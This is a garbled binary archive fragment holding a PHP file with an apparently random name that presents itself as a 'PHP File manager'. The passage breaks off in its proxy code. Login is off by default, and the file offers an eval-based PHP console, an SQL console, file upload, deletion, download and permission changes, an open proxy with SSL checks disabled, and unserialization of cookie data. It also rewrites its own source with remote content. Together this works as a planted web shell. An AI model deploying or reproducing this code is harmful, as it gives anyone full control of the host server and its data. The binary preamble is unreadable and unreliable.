ӿ�>��)��p"o�����щ�����c,_��n��֌z�%&�9^��O00��z��o38�.#�e ҳ��ۜ�����p��d�
�.��2z��q�v�dק�ܼ"N���押��ʂhL̳���4�_����^�ej[�7ce&G����u�έ�{1�o"�ށs�Ԇ�%�7D˩�{��1V^�ܱϝ��"1��q���	^��w�L����7W�`�"7���h�q�,"���oM�&����S���M~xd�x!z�|
���u�
Avm��E��`�n��FU�[,�/�~h�r���X��#E��&�r���_
���$�ʟ�w��d��N-��Z�h�FUk�:�f�&��ڂ�?�j��n{c�d�[�9:�Gg���`��8�7��N�K2���oX�O�GwҴ�V�v۸y*c��T�2�@��ZBq�~H��i�2��t��P�ݵ����:�7�{��22��M%`�`Q-=���
�IERUD��]h�n��=$o.'�ub�\|!���^�z�(�z�A 3��FY:(I�XG�,]pa�rAz���B�5i%���F�f��d�>
��`C�m�0������:Բ�Х)��eퟵ�%��9 ����wMB�@�9�d��葪aE��S���$c@�I0օu[���K��.>XEU���r�b�ձ(�/��:3�]�^��CH���*ҙ�F]��qu}:�Q�,v�����T�8�H�W+�ֻ{���Ϡ�o��yf0,N.��S��I>.�h���d$��E�<��'1�g86��B��g<'g�-���{&���B�òDY8�b��<i4�ԃ��&%[F�ˈm9��D�W�� ic��O��
�JѨ����\�у�Cce��4�ϫI��cU�e�'��	
��ù��Z��b���5M�����t�3�[�AI�cm�8Al܎)	��E)jQg���<X���~{�<��1�`ڿ�o�`��o���.*@3P��De�!�`PP5^����
�Fϰ��YH��\nj�O���9b��uR�{ ���	�7�. kA^�U�1
E�U� 0�������.]��`lpgNV����B	����{������9n='�[N�_�:2>�:i�Ʊ굾�3x�
ld�)cg�~����$
�V�xS��Z:|��
��Ҝ�bK^Y�\<�������r\w�h?�c�W��⍍Ġ�{��߯漋�����|�Y��X��w��u��>�DhqL7���G��q����v�[| /�x͉z;pZ��~��0���_p����j+5����7C<Og4I�u��o�`���.F��u�5�cnk�&ɸ�;X��e�q�������[��^!���\�����a|�
��2~�����j� �bq\��E9"���o4��K���sk|�؅U��
�<e:�[�4�zo
��U�
�Z�7����MN�T��pߐ��m
�.rO$����+��)�{���;�'��5��iq�8�L�[���@3g�a�������‡$����?�m���ym�߲B�� 8!�r��-���c�>��Ģ�������ǟ?�X����r�
<PK!���7�5�5	ysk2v.phpnu�[���<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
